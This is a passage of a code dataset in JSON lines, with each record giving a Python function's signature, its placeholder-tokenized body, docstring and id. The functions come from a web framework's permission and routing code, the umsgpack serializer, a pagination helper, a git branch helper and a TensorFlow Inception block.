isinstance(ret, (tuple, set, list)):<EOL><INDENT>available = list(ret)<EOL><DEDENT>elif ret == '<STR_LIT:*>':<EOL><INDENT>available = list(columns)<EOL><DEDENT>elif ret is False:<EOL><INDENT>available = []<EOL><DEDENT>if not available: break<EOL><DEDENT><DEDENT>return available<EOL>", "docstring": "\u6839\u636e\u6743\u9650\u8fdb\u884c\u5217\u8fc7\u6ee4\n\u6ce8\u610f\u4e00\u70b9\uff0c\u53ea\u8981\u6709\u4e00\u4e2a\u6761\u4ef6\u80fd\u591f\u901a\u8fc7\u6743\u9650\u68c0\u6d4b\uff0c\u90a3\u4e48\u8fc7\u6ee4\u540e\u8fd8\u4f1a\u6709\u5269\u4f59\u6761\u4ef6\uff0c\u6700\u7ec8\u5c31\u4e0d\u4f1a\u62a5\u9519\u3002\n\u5982\u679c\u5168\u90e8\u6761\u4ef6\u90fd\u4e0d\u80fd\u8fc7\u68c0\u6d4b\uff0c\u5c31\u4f1a\u7206\u51fa\u6743\u9650\u9519\u8bef\u4e86\u3002\n\n:param user:\n:param action: \u884c\u4e3a\n:param table: \u8868\u540d\n:param columns: \u5217\u540d\u5217\u8868\n:return: \u53ef\u7528\u5217\u7684\u5217\u8868", "id": "f10990:c3:m6"}
{"signature": "def can_with_record(self, user, action, record: DataRecord, *, available=None):", "body": "assert action not in (A.QUERY, A.CREATE), \"<STR_LIT>\" % action<EOL>rules = []<EOL>for rule in self.record_checks:<EOL><INDENT>if record.table == rule[<NUM_LIT:0>] and action in rule[<NUM_LIT:1>]:<EOL><INDENT>rules.append(rule)<EOL><DEDENT><DEDENT>if available is None: available = self.can_with_columns(user, action, record.table, record.keys())<EOL>else: available = list(available)<EOL>bak = available.copy()<EOL>for rule in rules:<EOL><INDENT>ret = rule[-<NUM_LIT:1>](self, user, action, record, available)<EOL>if isinstance(ret, (tuple, set, list)):<EOL><INDENT>available = list(ret)<EOL><DEDENT>elif ret == '<STR_LIT:*>':<EOL><INDENT>available = list(bak)<EOL><DEDENT>elif not ret:<EOL><INDENT>available = []<EOL><DEDENT><DEDENT>return available<EOL>", "docstring": "\u8fdb\u884c\u57fa\u4e8e Record \u7684\u6743\u9650\u5224\u5b9a\uff0c\u8fd4\u56de\u53ef\u7528\u5217\u3002\n:param user:\n:param action:\n:param record:\n:param available: \u9650\u5b9a\u68c0\u67e5\u8303\u56f4\n:return: \u53ef\u7528\u5217", "id": "f10990:c3:m7"}
{"signature": "def view_bind(app, cls_url, view_cls: Type['<STR_LIT>']):", "body": "if view_cls._no_route: return<EOL>cls_url = cls_url or view_cls.__class__.__name__.lower()<EOL>def add_route(name, route_info, beacon_info):<EOL><INDENT>for method in route_info['<STR_LIT>']:<EOL><INDENT>async def beacon(request): pass<EOL>route_key = route_info['<STR_LIT:url>'] if route_info['<STR_LIT:url>'] else name<EOL>app._raw_app.router.add_route(method, urljoin('<STR_LIT>', cls_url, route_key), beacon)<EOL>app.route._beacons[beacon] = beacon_info<EOL><DEDENT><DEDENT>for name, route_info_lst in view_cls._interface.items():<EOL><INDENT>for route_info in route_info_lst:<EOL><INDENT>real_handler = getattr(view_cls, name, None)<EOL>if real_handler is None: continue <EOL>assert real_handler is not None, \"<STR_LIT>\"<EOL>handler_name = '<STR_LIT>' % (view_cls.__name__, real_handler.__name__)<EOL>assert iscoroutinefunction(real_handler), \"<STR_LIT>\" % handler_name<EOL>beacon_info = {<EOL>'<STR_LIT>': view_cls,<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': real_handler,<EOL>'<STR_LIT>': route_info<EOL>}<EOL>add_route(name, route_info, beacon_info)<EOL><DEDENT><DEDENT>", "docstring": "\u5c06 API \u7ed1\u5b9a\u5230 web \u670d\u52a1\u4e0a\n:param view_cls:\n:param app:\n:param cls_url:\n:return:", "id": "f10991:m1"}
{"signature": "def add_static(self, prefix, path, **kwargs):", "body": "self.statics.append((prefix, path, kwargs),)<EOL>", "docstring": ":param prefix: URL prefix\n:param path: file directory\n:param kwargs:\n:return:", "id": "f10991:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>async def get_session(cls, view):<DEDENT>", "body": "session = cls(view)<EOL>session.key = await session.get_key()<EOL>session._data = await session.load() or {}<EOL>return session<EOL>", "docstring": "Every request have a session instance\n:param view:\n:return:", "id": "f10992:c0:m9"}
{"signature": "def __init__(self, *, cookies_secret: bytes, log_level=logging.DEBUG, session_cls=CookieSession,<EOL>permission: Optional['<STR_LIT>'], client_max_size=<NUM_LIT:2> * <NUM_LIT> * <NUM_LIT>,<EOL>cors_options: Optional[Union[CORSOptions, List[CORSOptions]]] = None):", "body": "from .route import get_route_middleware, Route<EOL>from .permission import Permissions, Ability, ALL_PERMISSION, EMPTY_PERMISSION<EOL>self.route = Route(self)<EOL>if permission is ALL_PERMISSION:<EOL><INDENT>logger.warning('<STR_LIT>')<EOL>self.permission = Permissions(self)<EOL>self.permission.add(Ability(None, {'<STR_LIT:*>': '<STR_LIT:*>'}))  <EOL><DEDENT>elif permission is None or permission is EMPTY_PERMISSION:<EOL><INDENT>self.permission = Permissions(self)  <EOL><DEDENT>else:<EOL><INDENT>self.permission = permission<EOL>permission.app = self<EOL><DEDENT>self.tables = SlimTables()<EOL>self.table_permissions = SlimPermissions(self.permission)<EOL>if log_level:<EOL><INDENT>log.enable(log_level)<EOL><DEDENT>if isinstance(cors_options, CORSOptions):<EOL><INDENT>self.cors_options = [cors_options]<EOL><DEDENT>else:<EOL><INDENT>self.cors_options = cors_options<EOL><DEDENT>self.options = ApplicationOptions()<EOL>self.options.cookies_secret = cookies_secret<EOL>self.options.session_cls = session_cls<EOL>self._raw_app = web.Application(middlewares=[get_route_middleware(self)], client_max_size=client_max_size)<EOL>", "docstring": ":param cookies_secret:\n:param log_level:\n:param permission: `ALL_PERMISSION`, `EMPTY_PERMISSION` or a `Permissions` object\n:param session_cls:\n:param client_max_size: 2MB is default client_max_body_size of nginx", "id": "f10993:c4:m0"}
{"signature": "def _pack2(obj, fp, **options):", "body": "global compatibility<EOL>ext_handlers = options.get(\"<STR_LIT>\")<EOL>if obj is None:<EOL><INDENT>_pack_nil(obj, fp, options)<EOL><DEDENT>elif ext_handlers and obj.__class__ in ext_handlers:<EOL><INDENT>_pack_ext(ext_handlers[obj.__class__](obj), fp, options)<EOL><DEDENT>elif isinstance(obj, bool):<EOL><INDENT>_pack_boolean(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, int) or isinstance(obj, long):<EOL><INDENT>_pack_integer(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, float):<EOL><INDENT>_pack_float(obj, fp, options)<EOL><DEDENT>elif compatibility and isinstance(obj, unicode):<EOL><INDENT>_pack_oldspec_raw(bytes(obj), fp, options)<EOL><DEDENT>elif compatibility and isinstance(obj, bytes):<EOL><INDENT>_pack_oldspec_raw(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, unicode):<EOL><INDENT>_pack_string(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, str):<EOL><INDENT>_pack_binary(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, list) or isinstance(obj, tuple):<EOL><INDENT>_pack_array(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, dict):<EOL><INDENT>_pack_map(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, datetime.datetime):<EOL><INDENT>_pack_ext_timestamp(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, Ext):<EOL><INDENT>_pack_ext(obj, fp, options)<EOL><DEDENT>elif ext_handlers:<EOL><INDENT>t = next((t for t in ext_handlers.keys() if isinstance(obj, t)), None)<EOL>if t:<EOL><INDENT>_pack_ext(ext_handlers[t](obj), fp, options)<EOL><DEDENT>else:<EOL><INDENT>raise UnsupportedTypeException(<EOL>\"<STR_LIT>\" % str(type(obj)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise UnsupportedTypeException(\"<STR_LIT>\" % str(type(obj)))<EOL><DEDENT>", "docstring": "Serialize a Python object into MessagePack bytes.\n\nArgs:\n    obj: a Python object\n    fp: a .write()-supporting file-like object\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                         to a callable that packs an instance of the type\n                         into an Ext object\n    force_float_precision (str): \"single\" to force packing floats as\n                                 IEEE-754 single-precision floats,\n                                 \"double\" to force packing floats as\n                                 IEEE-754 double-precision floats.\n\nReturns:\n    None.\n\nRaises:\n    UnsupportedType(PackException):\n        Object type not supported for packing.\n\nExample:\n>>> f = open('test.bin', 'wb')\n>>> umsgpack.pack({u\"compact\": True, u\"schema\": 0}, f)\n>>>", "id": "f10997:m11"}
{"signature": "def _pack3(obj, fp, **options):", "body": "global compatibility<EOL>ext_handlers = options.get(\"<STR_LIT>\")<EOL>if obj is None:<EOL><INDENT>_pack_nil(obj, fp, options)<EOL><DEDENT>elif ext_handlers and obj.__class__ in ext_handlers:<EOL><INDENT>_pack_ext(ext_handlers[obj.__class__](obj), fp, options)<EOL><DEDENT>elif isinstance(obj, bool):<EOL><INDENT>_pack_boolean(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, int):<EOL><INDENT>_pack_integer(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, float):<EOL><INDENT>_pack_float(obj, fp, options)<EOL><DEDENT>elif compatibility and isinstance(obj, str):<EOL><INDENT>_pack_oldspec_raw(obj.encode('<STR_LIT:utf-8>'), fp, options)<EOL><DEDENT>elif compatibility and isinstance(obj, bytes):<EOL><INDENT>_pack_oldspec_raw(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, str):<EOL><INDENT>_pack_string(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, bytes):<EOL><INDENT>_pack_binary(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, list) or isinstance(obj, tuple):<EOL><INDENT>_pack_array(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, dict):<EOL><INDENT>_pack_map(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, datetime.datetime):<EOL><INDENT>_pack_ext_timestamp(obj, fp, options)<EOL><DEDENT>elif isinstance(obj, Ext):<EOL><INDENT>_pack_ext(obj, fp, options)<EOL><DEDENT>elif ext_handlers:<EOL><INDENT>t = next((t for t in ext_handlers.keys() if isinstance(obj, t)), None)<EOL>if t:<EOL><INDENT>_pack_ext(ext_handlers[t](obj), fp, options)<EOL><DEDENT>else:<EOL><INDENT>raise UnsupportedTypeException(<EOL>\"<STR_LIT>\" % str(type(obj)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise UnsupportedTypeException(<EOL>\"<STR_LIT>\" % str(type(obj)))<EOL><DEDENT>", "docstring": "Serialize a Python object into MessagePack bytes.\n\nArgs:\n    obj: a Python object\n    fp: a .write()-supporting file-like object\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                         to a callable that packs an instance of the type\n                         into an Ext object\n    force_float_precision (str): \"single\" to force packing floats as\n                                 IEEE-754 single-precision floats,\n                                 \"double\" to force packing floats as\n                                 IEEE-754 double-precision floats.\n\nReturns:\n    None.\n\nRaises:\n    UnsupportedType(PackException):\n        Object type not supported for packing.\n\nExample:\n>>> f = open('test.bin', 'wb')\n>>> umsgpack.pack({u\"compact\": True, u\"schema\": 0}, f)\n>>>", "id": "f10997:m12"}
{"signature": "def _packb2(obj, **options):", "body": "fp = io.BytesIO()<EOL>_pack2(obj, fp, **options)<EOL>return fp.getvalue()<EOL>", "docstring": "Serialize a Python object into MessagePack bytes.\n\nArgs:\n    obj: a Python object\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                         to a callable that packs an instance of the type\n                         into an Ext object\n    force_float_precision (str): \"single\" to force packing floats as\n                                 IEEE-754 single-precision floats,\n                                 \"double\" to force packing floats as\n                                 IEEE-754 double-precision floats.\n\nReturns:\n    A 'str' containing serialized MessagePack bytes.\n\nRaises:\n    UnsupportedType(PackException):\n        Object type not supported for packing.\n\nExample:\n>>> umsgpack.packb({u\"compact\": True, u\"schema\": 0})\n'\\x82\\xa7compact\\xc3\\xa6schema\\x00'\n>>>", "id": "f10997:m13"}
{"signature": "def _packb3(obj, **options):", "body": "fp = io.BytesIO()<EOL>_pack3(obj, fp, **options)<EOL>return fp.getvalue()<EOL>", "docstring": "Serialize a Python object into MessagePack bytes.\n\nArgs:\n    obj: a Python object\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                         to a callable that packs an instance of the type\n                         into an Ext object\n    force_float_precision (str): \"single\" to force packing floats as\n                                 IEEE-754 single-precision floats,\n                                 \"double\" to force packing floats as\n                                 IEEE-754 double-precision floats.\n\nReturns:\n    A 'bytes' containing serialized MessagePack bytes.\n\nRaises:\n    UnsupportedType(PackException):\n        Object type not supported for packing.\n\nExample:\n>>> umsgpack.packb({u\"compact\": True, u\"schema\": 0})\nb'\\x82\\xa7compact\\xc3\\xa6schema\\x00'\n>>>", "id": "f10997:m14"}
{"signature": "def _unpack2(fp, **options):", "body": "return _unpack(fp, options)<EOL>", "docstring": "Deserialize MessagePack bytes into a Python object.\n\nArgs:\n    fp: a .read()-supporting file-like object\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                         type to a callable that unpacks an instance of\n                         Ext into an object\n    use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                             unordered dict (default False)\n    allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                               InvalidString, for access to the bytes\n                               (default False)\n\nReturns:\n    A Python object.\n\nRaises:\n    InsufficientDataException(UnpackException):\n        Insufficient data to unpack the serialized object.\n    InvalidStringException(UnpackException):\n        Invalid UTF-8 string encountered during unpacking.\n    UnsupportedTimestampException(UnpackException):\n        Unsupported timestamp format encountered during unpacking.\n    ReservedCodeException(UnpackException):\n        Reserved code encountered during unpacking.\n    UnhashableKeyException(UnpackException):\n        Unhashable key encountered during map unpacking.\n        The serialized map cannot be deserialized into a Python dictionary.\n    DuplicateKeyException(UnpackException):\n        Duplicate key encountered during map unpacking.\n\nExample:\n>>> f = open('test.bin', 'rb')\n>>> umsgpack.unpackb(f)\n{u'compact': True, u'schema': 0}\n>>>", "id": "f10997:m29"}
{"signature": "def _unpack3(fp, **options):", "body": "return _unpack(fp, options)<EOL>", "docstring": "Deserialize MessagePack bytes into a Python object.\n\nArgs:\n    fp: a .read()-supporting file-like object\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                         type to a callable that unpacks an instance of\n                         Ext into an object\n    use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                             unordered dict (default False)\n    allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                               InvalidString, for access to the bytes\n                               (default False)\n\nReturns:\n    A Python object.\n\nRaises:\n    InsufficientDataException(UnpackException):\n        Insufficient data to unpack the serialized object.\n    InvalidStringException(UnpackException):\n        Invalid UTF-8 string encountered during unpacking.\n    UnsupportedTimestampException(UnpackException):\n        Unsupported timestamp format encountered during unpacking.\n    ReservedCodeException(UnpackException):\n        Reserved code encountered during unpacking.\n    UnhashableKeyException(UnpackException):\n        Unhashable key encountered during map unpacking.\n        The serialized map cannot be deserialized into a Python dictionary.\n    DuplicateKeyException(UnpackException):\n        Duplicate key encountered during map unpacking.\n\nExample:\n>>> f = open('test.bin', 'rb')\n>>> umsgpack.unpackb(f)\n{'compact': True, 'schema': 0}\n>>>", "id": "f10997:m30"}
{"signature": "def _unpackb2(s, **options):", "body": "if not isinstance(s, (str, bytearray)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return _unpack(io.BytesIO(s), options)<EOL>", "docstring": "Deserialize MessagePack bytes into a Python object.\n\nArgs:\n    s: a 'str' or 'bytearray' containing serialized MessagePack bytes\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                         type to a callable that unpacks an instance of\n                         Ext into an object\n    use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                             unordered dict (default False)\n    allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                               InvalidString, for access to the bytes\n                               (default False)\n\nReturns:\n    A Python object.\n\nRaises:\n    TypeError:\n        Packed data type is neither 'str' nor 'bytearray'.\n    InsufficientDataException(UnpackException):\n        Insufficient data to unpack the serialized object.\n    InvalidStringException(UnpackException):\n        Invalid UTF-8 string encountered during unpacking.\n    UnsupportedTimestampException(UnpackException):\n        Unsupported timestamp format encountered during unpacking.\n    ReservedCodeException(UnpackException):\n        Reserved code encountered during unpacking.\n    UnhashableKeyException(UnpackException):\n        Unhashable key encountered during map unpacking.\n        The serialized map cannot be deserialized into a Python dictionary.\n    DuplicateKeyException(UnpackException):\n        Duplicate key encountered during map unpacking.\n\nExample:\n>>> umsgpack.unpackb(b'\\x82\\xa7compact\\xc3\\xa6schema\\x00')\n{u'compact': True, u'schema': 0}\n>>>", "id": "f10997:m31"}
{"signature": "def _unpackb3(s, **options):", "body": "if not isinstance(s, (bytes, bytearray)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return _unpack(io.BytesIO(s), options)<EOL>", "docstring": "Deserialize MessagePack bytes into a Python object.\n\nArgs:\n    s: a 'bytes' or 'bytearray' containing serialized MessagePack bytes\n\nKwargs:\n    ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                         type to a callable that unpacks an instance of\n                         Ext into an object\n    use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                             unordered dict (default False)\n    allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                               InvalidString, for access to the bytes\n                               (default False)\n\nReturns:\n    A Python object.\n\nRaises:\n    TypeError:\n        Packed data type is neither 'bytes' nor 'bytearray'.\n    InsufficientDataException(UnpackException):\n        Insufficient data to unpack the serialized object.\n    InvalidStringException(UnpackException):\n        Invalid UTF-8 string encountered during unpacking.\n    UnsupportedTimestampException(UnpackException):\n        Unsupported timestamp format encountered during unpacking.\n    ReservedCodeException(UnpackException):\n        Reserved code encountered during unpacking.\n    UnhashableKeyException(UnpackException):\n        Unhashable key encountered during map unpacking.\n        The serialized map cannot be deserialized into a Python dictionary.\n    DuplicateKeyException(UnpackException):\n        Duplicate key encountered during map unpacking.\n\nExample:\n>>> umsgpack.unpackb(b'\\x82\\xa7compact\\xc3\\xa6schema\\x00')\n{'compact': True, 'schema': 0}\n>>>", "id": "f10997:m32"}
{"signature": "def __init__(self, type, data):", "body": "<EOL>if not isinstance(type, int):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>elif sys.version_info[<NUM_LIT:0>] == <NUM_LIT:3> and not isinstance(data, bytes):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>elif sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2> and not isinstance(data, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.type = type<EOL>self.data = data<EOL>", "docstring": "Construct a new Ext object.\n\nArgs:\n    type: application-defined type integer\n    data: application-defined data byte array\n\nExample:\n>>> foo = umsgpack.Ext(0x05, b\"\\x01\\x02\\x03\")\n>>> umsgpack.packb({u\"special stuff\": foo, u\"awesome\": True})\n'\\x82\\xa7awesome\\xc3\\xadspecial stuff\\xc7\\x03\\x05\\x01\\x02\\x03'\n>>> bar = umsgpack.unpackb(_)\n>>> print(bar[\"special stuff\"])\nExt Object (Type: 0x05, Data: 01 02 03)\n>>>", "id": "f10997:c0:m0"}
{"signature": "def __eq__(self, other):", "body": "return (isinstance(other, self.__class__) and<EOL>self.type == other.type and<EOL>self.data == other.data)<EOL>", "docstring": "Compare this Ext object with another for equality.", "id": "f10997:c0:m1"}
{"signature": "def __ne__(self, other):", "body": "return not self.__eq__(other)<EOL>", "docstring": "Compare this Ext object with another for inequality.", "id": "f10997:c0:m2"}
{"signature": "def __str__(self):", "body": "s = \"<STR_LIT>\" % self.type<EOL>s += \"<STR_LIT:U+0020>\".join([\"<STR_LIT>\" % ord(self.data[i:i + <NUM_LIT:1>])<EOL>for i in xrange(min(len(self.data), <NUM_LIT:8>))])<EOL>if len(self.data) > <NUM_LIT:8>:<EOL><INDENT>s += \"<STR_LIT>\"<EOL><DEDENT>s += \"<STR_LIT:)>\"<EOL>return s<EOL>", "docstring": "String representation of this Ext object.", "id": "f10997:c0:m3"}
{"signature": "def __hash__(self):", "body": "return hash((self.type, self.data))<EOL>", "docstring": "Provide a hash of this Ext object.", "id": "f10997:c0:m4"}
{"signature": "def pagination_calc(items_count, page_size, cur_page=<NUM_LIT:1>, nearby=<NUM_LIT:2>):", "body": "if type(cur_page) == str:<EOL><INDENT>cur_page = int(cur_page) if cur_page.isdigit() else <NUM_LIT:1><EOL><DEDENT>elif type(cur_page) == int:<EOL><INDENT>if cur_page <= <NUM_LIT:0>:<EOL><INDENT>cur_page = <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>cur_page = <NUM_LIT:1><EOL><DEDENT>page_count = <NUM_LIT:1> if page_size == -<NUM_LIT:1> else int(math.ceil(items_count / page_size))<EOL>items_length = nearby * <NUM_LIT:2> + <NUM_LIT:1><EOL>first_page = None<EOL>last_page = None<EOL>prev_page = cur_page - <NUM_LIT:1> if cur_page != <NUM_LIT:1> else None<EOL>next_page = cur_page + <NUM_LIT:1> if cur_page != page_count else None<EOL>if page_count <= items_length:<EOL><INDENT>items = range(<NUM_LIT:1>, page_count + <NUM_LIT:1>)<EOL><DEDENT>elif cur_page <= nearby:<EOL><INDENT>items = range(<NUM_LIT:1>, items_length + <NUM_LIT:1>)<EOL>last_page = True<EOL><DEDENT>elif cur_page >= page_count - nearby:<EOL><INDENT>items = range(page_count - items_length + <NUM_LIT:1>, page_count + <NUM_LIT:1>)<EOL>first_page = True<EOL><DEDENT>else:<EOL><INDENT>items = range(cur_page - nearby, cur_page + nearby + <NUM_LIT:1>)<EOL>first_page, last_page = True, True<EOL><DEDENT>if first_page:<EOL><INDENT>first_page = <NUM_LIT:1><EOL><DEDENT>if last_page:<EOL><INDENT>last_page = page_count<EOL><DEDENT>return {<EOL>'<STR_LIT>': cur_page,<EOL>'<STR_LIT>': prev_page,<EOL>'<STR_LIT>': next_page,<EOL>'<STR_LIT>': first_page,<EOL>'<STR_LIT>': last_page,<EOL>'<STR_LIT>': list(items),<EOL>'<STR_LIT:info>': {<EOL>'<STR_LIT>': page_size,<EOL>'<STR_LIT>': page_count,<EOL>'<STR_LIT>': items_count,<EOL>}<EOL>}<EOL>", "docstring": ":param nearby:\n:param items_count: count of all items\n:param page_size: size of one page\n:param cur_page: current page number, accept string digit\n:return: num of pages, an iterator", "id": "f11003:m0"}
{"signature": "def get_bytes_from_blob(val) -> bytes:", "body": "if isinstance(val, bytes):<EOL><INDENT>return val<EOL><DEDENT>elif isinstance(val, memoryview):<EOL><INDENT>return val.tobytes()<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "\u4e0d\u540c\u6570\u636e\u5e93\u4eceblob\u62ff\u51fa\u7684\u6570\u636e\u6709\u6240\u5dee\u522b\uff0c\u6709\u7684\u662fmemoryview\u6709\u7684\u662fbytes", "id": "f11004:m3"}
{"signature": "def parse_query_by_json(data):", "body": "data = json.loads(data)<EOL>for i in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if i not in data:<EOL><INDENT>raise QueryException(\"<STR_LIT>\" % i)<EOL><DEDENT><DEDENT>tables = data['<STR_LIT>']<EOL>columns = data['<STR_LIT>']<EOL>conditions = data['<STR_LIT>']<EOL>def parse_stmt(s, expr_cls, all_op, multi_items_op):<EOL><INDENT>if len(s) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>if s[<NUM_LIT:0>] in all_op:<EOL><INDENT>if s[<NUM_LIT:0>] in multi_items_op:<EOL><INDENT>values = []<EOL>for i in s[<NUM_LIT:1>:]:<EOL><INDENT>values.append(parse_stmt(i, expr_cls, all_op, multi_items_op))<EOL><DEDENT>return expr_cls(None, s[<NUM_LIT:0>], None, values=values)<EOL><DEDENT>else:<EOL><INDENT>if len(s) == <NUM_LIT:5>:<EOL><INDENT>lhs = Column(s[<NUM_LIT:2>], table=s[<NUM_LIT:1>])<EOL>rhs = Column(s[<NUM_LIT:4>], table=s[<NUM_LIT:3>])<EOL>if (s[<NUM_LIT:1>] not in tables) or (s[<NUM_LIT:3>] not in tables):<EOL><INDENT>raise QueryException('<STR_LIT>')<EOL><DEDENT>return expr_cls(lhs, s[<NUM_LIT:0>], rhs)<EOL><DEDENT>else:<EOL><INDENT>lhs = Column(s[<NUM_LIT:2>], table=s[<NUM_LIT:1>])<EOL>if s[<NUM_LIT:1>] not in tables:<EOL><INDENT>raise QueryException('<STR_LIT>')<EOL><DEDENT>return expr_cls(lhs, s[<NUM_LIT:0>], s[<NUM_LIT:3>])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise QueryException('<STR_LIT>')<EOL><DEDENT><DEDENT>query_op = ('<STR_LIT:+>', '<STR_LIT:->', '<STR_LIT:*>', '<STR_LIT:/>')<EOL>query_columns = []<EOL>for i in columns:<EOL><INDENT>if len(i) == <NUM_LIT:2>:<EOL><INDENT>query_columns.append(Column(i[<NUM_LIT:1>], table=i[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>query_columns.append(parse_stmt(i, QueryExpression, query_op, query_op))<EOL><DEDENT><DEDENT>wheres = parse_stmt(conditions, ConditionExpression, _operator_map, ('<STR_LIT>', '<STR_LIT>',))<EOL>return {<EOL>'<STR_LIT>': tables,<EOL>'<STR_LIT>': query_columns,<EOL>'<STR_LIT>': wheres,<EOL>}<EOL>", "docstring": "['and',\n    ['==', 't1', 'col1', val1],\n    ['!=', 't1', 'col2', 't2', 'col2'],\n    ['and',\n        ['==', 't1', 'col3', val3],\n        ['!=', 't2', 'col4', val4],\n    ]\n]\n:return:\n:param data: \n:return:", "id": "f11012:m3"}
{"signature": "def ensure_remote_branch_is_tracked(branch):", "body": "if branch == MASTER_BRANCH:<EOL><INDENT>return<EOL><DEDENT>output = subprocess.check_output(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>for line in output.split('<STR_LIT:\\n>'):<EOL><INDENT>if line.strip() == branch:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>sys.stdout.write(subprocess.check_output(<EOL>['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>' % branch]))<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>raise SystemExit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "Track the specified remote branch if it is not already tracked.", "id": "f11015:m0"}
{"signature": "def main(branch):", "body": "try:<EOL><INDENT>output = subprocess.check_output(['<STR_LIT>', '<STR_LIT>']).decode('<STR_LIT:utf-8>')<EOL>sys.stdout.write(output)<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>return<EOL><DEDENT>ensure_remote_branch_is_tracked(branch)<EOL>subprocess.check_call(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', branch])<EOL>subprocess.check_call(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>subprocess.check_call(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>' % branch])<EOL>subprocess.check_call(['<STR_LIT>', '<STR_LIT:.>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>print('<STR_LIT>' % branch)<EOL>", "docstring": "Checkout, update and branch from the specified branch.", "id": "f11015:m1"}
{"signature": "def block_inception_a(inputs, scope=None, is_train=False):", "body": "<EOL>with tf.variable_scope(name_or_scope=scope, default_name='<STR_LIT>', values=[inputs]):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_0, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_1, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT:64>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_1, _ = conv_module(<EOL>branch_1, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL><DEDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>branch_2, _ = conv_module(<EOL>inputs, n_out_channel=<NUM_LIT:64>, filter_size=(<NUM_LIT:1>, <NUM_LIT:1>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', name='<STR_LIT>'<EOL>)<EOL>branch_2, _ = conv_module(<EOL>branch_2, n_out_channel=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), padding='<STR_LIT>', batch_norm_init=None,<EOL>is_train=is_train, use_batchnorm=True, activation_fn='<STR_LIT>', 